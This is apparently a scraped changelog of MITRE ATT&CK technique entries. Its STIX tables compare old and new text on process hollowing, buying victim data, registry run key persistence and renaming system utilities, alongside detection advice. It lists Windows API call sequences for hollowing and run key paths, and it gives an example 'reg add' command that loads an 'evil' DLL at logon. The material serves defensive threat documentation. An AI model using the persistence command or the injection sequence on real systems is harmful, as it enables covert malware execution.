Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)
This is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. |
| external_references[2]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Process monitoring | Process: OS API Execution |
| x_mitre_data_sources[1] | API monitoring | Process: Process Access |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:28:45.651000+00:00 | 2021-02-09 15:43:50.029000+00:00 |
| external_references[2]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | API monitoring | Module: Module Load |
| x_mitre_data_sources[1] | File monitoring | Process: OS API Execution |
| x_mitre_data_sources[2] | DLL monitoring | Process: Process Access |
| x_mitre_data_sources[3] | Process monitoring | File: File Modification |
| x_mitre_data_sources[4] | Named Pipes | File: File Metadata |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Endgame Process Injection July 2017)
Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.
Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits)
Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.
Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits)
Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may purchase techn | t | 1 | Adversaries may purchase technical information about victims |
| > | ical information about victims that can be used during targe | > | that can be used during targeting. Information about victim | ||
| > | ting. Information about victims may be available for purchas | > | s may be available for purchase within reputable private sou | ||
| > | e within reputable private sources and databases, such as pa | > | rces and databases, such as paid subscriptions to feeds of s | ||
| > | id subscriptions to feeds of scan databases or other data ag | > | can databases or other data aggregation services. Adversarie | ||
| > | gregation services. Adversaries may also purchase informatio | > | s may also purchase information from less-reputable sources | ||
| > | n from less-reputable sources such as dark web or cybercrime | > | such as dark web or cybercrime blackmarkets. Adversaries ma | ||
| > | blackmarkets. Adversaries may purchase information about t | > | y purchase information about their already identified target | ||
| > | heir already identified targets, or use purchased data to di | > | s, or use purchased data to discover opportunities for succe | ||
| > | scover opportunities for successful breaches. Threat actors | > | ssful breaches. Threat actors may gather various technical d | ||
| > | may gather various technical details from purchased data, in | > | etails from purchased data, including but not limited to emp | ||
| > | cluding but not limited to employee contact information, cre | > | loyee contact information, credentials, or specifics regardi | ||
| > | dentials, or specifics regarding a victim’s infrastructure.( | > | ng a victim’s infrastructure.(Citation: ZDNET Selling Data) | ||
| > | Citation: ZDNET Selling Data) Information from these sources | > | Information from these sources may reveal opportunities for | ||
| > | may reveal opportunities for other forms of reconnaissance | > | other forms of reconnaissance (ex: [Phishing for Information | ||
| > | (ex: [Phishing for Information](https://attack.mitre.org/tec | > | ](https://attack.mitre.org/techniques/T1598) or [Search Open | ||
| > | hniques/T1598) or [Search Open Websites/Domains](https://att | > | Websites/Domains](https://attack.mitre.org/techniques/T1593 | ||
| > | ack.mitre.org/techniques/T1593)), establishing operational r | > | )), establishing operational resources (ex: [Develop Capabil | ||
| > | esources (ex: [Develop Capabilities](https://attack.mitre.or | > | ities](https://attack.mitre.org/techniques/T1587) or [Obtain | ||
| > | g/techniques/T1587) or [Obtain Capabilities](https://attack. | > | Capabilities](https://attack.mitre.org/techniques/T1588)), | ||
| > | mitre.org/techniques/T1588)), and/or initial access (ex: [Ex | > | and/or initial access (ex: [External Remote Services](https: | ||
| > | ternal Remote Services](https://attack.mitre.org/techniques/ | > | //attack.mitre.org/techniques/T1133) or [Valid Accounts](htt | ||
| > | T1133) or [Valid Accounts](https://attack.mitre.org/techniqu | > | ps://attack.mitre.org/techniques/T1078)). | ||
| > | es/T1078)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:15:26.840000+00:00 | 2021-04-15 03:44:43.900000+00:00 |
| description | Before compromising a victim, adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). | Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may achieve persistence by adding a program to a | t | 1 | Adversaries may achieve persistence by adding a program to a |
| > | startup folder or referencing it with a Registry run key. A | > | startup folder or referencing it with a Registry run key. A | ||
| > | dding an entry to the "run keys" in the Registry or startup | > | dding an entry to the "run keys" in the Registry or startup | ||
| > | folder will cause the program referenced to be executed when | > | folder will cause the program referenced to be executed when | ||
| > | a user logs in. (Citation: Microsoft Run Key) These program | > | a user logs in. (Citation: Microsoft Run Key) These program | ||
| > | s will be executed under the context of the user and will ha | > | s will be executed under the context of the user and will ha | ||
| > | ve the account's associated permissions level. Placing a pr | > | ve the account's associated permissions level. Placing a pr | ||
| > | ogram within a startup folder will also cause that program t | > | ogram within a startup folder will also cause that program t | ||
| > | o execute when a user logs in. There is a startup folder loc | > | o execute when a user logs in. There is a startup folder loc | ||
| > | ation for individual user accounts as well as a system-wide | > | ation for individual user accounts as well as a system-wide | ||
| > | startup folder that will be checked regardless of which user | > | startup folder that will be checked regardless of which user | ||
| > | account logs in. The startup folder path for the current us | > | account logs in. The startup folder path for the current us | ||
| > | er is <code>C:\Users\[Username]\AppData\Roaming\Microsoft\Wi | > | er is <code>C:\Users\\[Username]\AppData\Roaming\Microsoft\W | ||
| > | ndows\Start Menu\Programs\Startup</code>. The startup folder | > | indows\Start Menu\Programs\Startup</code>. The startup folde | ||
| > | path for all users is <code>C:\ProgramData\Microsoft\Window | > | r path for all users is <code>C:\ProgramData\Microsoft\Windo | ||
| > | s\Start Menu\Programs\StartUp</code>. The following run key | > | ws\Start Menu\Programs\StartUp</code>. The following run ke | ||
| > | s are created by default on Windows systems: * <code>HKEY_C | > | ys are created by default on Windows systems: * <code>HKEY_ | ||
| > | URRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</c | > | CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</ | ||
| > | ode> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\Cu | > | code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\C | ||
| > | rrentVersion\RunOnce</code> * <code>HKEY_LOCAL_MACHINE\Softw | > | urrentVersion\RunOnce</code> * <code>HKEY_LOCAL_MACHINE\Soft | ||
| > | are\Microsoft\Windows\CurrentVersion\Run</code> * <code>HKEY | > | ware\Microsoft\Windows\CurrentVersion\Run</code> * <code>HKE | ||
| > | _LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run | > | Y_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Ru | ||
| > | Once</code> Run keys may exist under multiple hives.(Citati | > | nOnce</code> Run keys may exist under multiple hives.(Citat | ||
| > | on: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow64 | > | ion: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6 | ||
| > | 32Node 2016) The <code>HKEY_LOCAL_MACHINE\Software\Microsoft | > | 432Node 2016) The <code>HKEY_LOCAL_MACHINE\Software\Microsof | ||
| > | \Windows\CurrentVersion\RunOnceEx</code> is also available b | > | t\Windows\CurrentVersion\RunOnceEx</code> is also available | ||
| > | ut is not created by default on Windows Vista and newer. Reg | > | but is not created by default on Windows Vista and newer. Re | ||
| > | istry run key entries can reference programs directly or lis | > | gistry run key entries can reference programs directly or li | ||
| > | t them as a dependency. (Citation: Microsoft RunOnceEx APR 2 | > | st them as a dependency. (Citation: Microsoft RunOnceEx APR | ||
| > | 018) For example, it is possible to load a DLL at logon usin | > | 2018) For example, it is possible to load a DLL at logon usi | ||
| > | g a "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWARE | > | ng a "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWAR | ||
| > | \Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 | > | E\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v | ||
| > | /d "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOnc | > | 1 /d "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOn | ||
| > | eEx Mar 2018) The following Registry keys can be used to se | > | ceEx Mar 2018) The following Registry keys can be used to s | ||
| > | t startup folder items for persistence: * <code>HKEY_CURREN | > | et startup folder items for persistence: * <code>HKEY_CURRE | ||
| > | T_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Us | > | NT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\U | ||
| > | er Shell Folders</code> * <code>HKEY_CURRENT_USER\Software\M | > | ser Shell Folders</code> * <code>HKEY_CURRENT_USER\Software\ | ||
| > | icrosoft\Windows\CurrentVersion\Explorer\Shell Folders</code | > | Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</cod | ||
| > | > * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr | > | e> * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur | ||
| > | entVersion\Explorer\Shell Folders</code> * <code>HKEY_LOCAL_ | > | rentVersion\Explorer\Shell Folders</code> * <code>HKEY_LOCAL | ||
| > | MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\U | > | _MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ | ||
| > | ser Shell Folders</code> The following Registry keys can co | > | User Shell Folders</code> The following Registry keys can c | ||
| > | ntrol automatic startup of services during boot: * <code>HK | > | ontrol automatic startup of services during boot: * <code>H | ||
| > | EY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\R | > | KEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ | ||
| > | unServicesOnce</code> * <code>HKEY_CURRENT_USER\Software\Mic | > | RunServicesOnce</code> * <code>HKEY_CURRENT_USER\Software\Mi | ||
| > | rosoft\Windows\CurrentVersion\RunServicesOnce</code> * <code | > | crosoft\Windows\CurrentVersion\RunServicesOnce</code> * <cod | ||
| > | >HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio | > | e>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersi | ||
| > | n\RunServices</code> * <code>HKEY_CURRENT_USER\Software\Micr | > | on\RunServices</code> * <code>HKEY_CURRENT_USER\Software\Mic | ||
| > | osoft\Windows\CurrentVersion\RunServices</code> Using polic | > | rosoft\Windows\CurrentVersion\RunServices</code> Using poli | ||
| > | y settings to specify startup programs creates corresponding | > | cy settings to specify startup programs creates correspondin | ||
| > | values in either of two Registry keys: * <code>HKEY_LOCAL_ | > | g values in either of two Registry keys: * <code>HKEY_LOCAL | ||
| > | MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\E | > | _MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\ | ||
| > | xplorer\Run</code> * <code>HKEY_CURRENT_USER\Software\Micros | > | Explorer\Run</code> * <code>HKEY_CURRENT_USER\Software\Micro | ||
| > | oft\Windows\CurrentVersion\Policies\Explorer\Run</code> The | > | soft\Windows\CurrentVersion\Policies\Explorer\Run</code> Th | ||
| > | Winlogon key controls actions that occur when a user logs o | > | e Winlogon key controls actions that occur when a user logs | ||
| > | n to a computer running Windows 7. Most of these actions are | > | on to a computer running Windows 7. Most of these actions ar | ||
| > | under the control of the operating system, but you can also | > | e under the control of the operating system, but you can als | ||
| > | add custom actions here. The <code>HKEY_LOCAL_MACHINE\Softw | > | o add custom actions here. The <code>HKEY_LOCAL_MACHINE\Soft | ||
| > | are\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit</c | > | ware\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit</ | ||
| > | ode> and <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows | > | code> and <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Window | ||
| > | NT\CurrentVersion\Winlogon\Shell</code> subkeys can automat | > | s NT\CurrentVersion\Winlogon\Shell</code> subkeys can automa | ||
| > | ically launch programs. Programs listed in the load value o | > | tically launch programs. Programs listed in the load value | ||
| > | f the registry key <code>HKEY_CURRENT_USER\Software\Microsof | > | of the registry key <code>HKEY_CURRENT_USER\Software\Microso | ||
| > | t\Windows NT\CurrentVersion\Windows</code> run when any user | > | ft\Windows NT\CurrentVersion\Windows</code> run when any use | ||
| > | logs on. By default, the multistring <code>BootExecute</co | > | r logs on. By default, the multistring <code>BootExecute</c | ||
| > | de> value of the registry key <code>HKEY_LOCAL_MACHINE\Syste | > | ode> value of the registry key <code>HKEY_LOCAL_MACHINE\Syst | ||
| > | m\CurrentControlSet\Control\Session Manager</code> is set to | > | em\CurrentControlSet\Control\Session Manager</code> is set t | ||
| > | <code>autocheck autochk *</code>. This value causes Windows | > | o <code>autocheck autochk *</code>. This value causes Window | ||
| > | , at startup, to check the file-system integrity of the hard | > | s, at startup, to check the file-system integrity of the har | ||
| > | disks if the system has been shut down abnormally. Adversar | > | d disks if the system has been shut down abnormally. Adversa | ||
| > | ies can add other programs or processes to this registry val | > | ries can add other programs or processes to this registry va | ||
| > | ue which will automatically launch at boot. Adversaries can | > | lue which will automatically launch at boot. Adversaries ca | ||
| > | use these configuration locations to execute malware, such | > | n use these configuration locations to execute malware, such | ||
| > | as remote access tools, to maintain persistence through syst | > | as remote access tools, to maintain persistence through sys | ||
| > | em reboots. Adversaries may also use [Masquerading](https:// | > | tem reboots. Adversaries may also use [Masquerading](https:/ | ||
| > | attack.mitre.org/techniques/T1036) to make the Registry entr | > | /attack.mitre.org/techniques/T1036) to make the Registry ent | ||
| > | ies look as if they are associated with legitimate programs. | > | ries look as if they are associated with legitimate programs | ||
| > | . | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-03 16:30:26.918000+00:00 | 2021-01-06 18:36:29.226000+00:00 |
| description | Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.
Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The startup folder path for all users is C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.
The following run keys are created by default on Windows systems:
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018)
The following Registry keys can be used to set startup folder items for persistence:
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
The following Registry keys can control automatic startup of services during boot:
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit and HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell subkeys can automatically launch programs.
Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run when any user logs on.
By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.
Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs. | Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.
Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\Users\\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The startup folder path for all users is C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.
The following run keys are created by default on Windows systems:
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018)
The following Registry keys can be used to set startup folder items for persistence:
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
The following Registry keys can control automatic startup of services during boot:
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit and HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell subkeys can automatically launch programs.
Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run when any user logs on.
By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.
Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs. |
| x_mitre_data_sources[0] | Windows Registry | Windows Registry: Windows Registry Key Creation |
| x_mitre_data_sources[1] | File monitoring | Windows Registry: Windows Registry Key Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Modification | |
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_data_sources | Process: Process Creation |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may rename legitimate system utilities to try to | t | 1 | Adversaries may rename legitimate system utilities to try to |
| > | evade security mechanisms concerning the usage of those uti | > | evade security mechanisms concerning the usage of those uti | ||
| > | lities. Security monitoring and control mechanisms may be in | > | lities. Security monitoring and control mechanisms may be in | ||
| > | place for system utilities adversaries are capable of abusi | > | place for system utilities adversaries are capable of abusi | ||
| > | ng. (Citation: LOLBAS Main Site) It may be possible to bypas | > | ng. (Citation: LOLBAS Main Site) It may be possible to bypas | ||
| > | s those security mechanisms by renaming the utility prior to | > | s those security mechanisms by renaming the utility prior to | ||
| > | utilization (ex: rename <code>rundll32.exe</code>). (Citati | > | utilization (ex: rename <code>rundll32.exe</code>). (Citati | ||
| > | on: Endgame Masquerade Ball) An alternative case occurs when | > | on: Elastic Masquerade Ball) An alternative case occurs when | ||
| > | a legitimate utility is copied or moved to a different dire | > | a legitimate utility is copied or moved to a different dire | ||
| > | ctory and renamed to avoid detections based on system utilit | > | ctory and renamed to avoid detections based on system utilit | ||
| > | ies executing from non-standard paths. (Citation: F-Secure C | > | ies executing from non-standard paths. (Citation: F-Secure C | ||
| > | ozyDuke) | > | ozyDuke) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-02-10 20:03:11.691000+00:00 | 2020-11-23 17:03:38.941000+00:00 |
| description | Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke) | Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke) |
| external_references[2]['source_name'] | Endgame Masquerade Ball | Elastic Masquerade Ball |
| external_references[3]['url'] | https://www.f-secure.com/documents/996508/1030745/CozyDuke | https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf |
| x_mitre_data_sources[0] | File monitoring | File: File Modification |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Metadata |
| x_mitre_data_sources[2] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[3] | Binary file metadata | File: File Metadata |
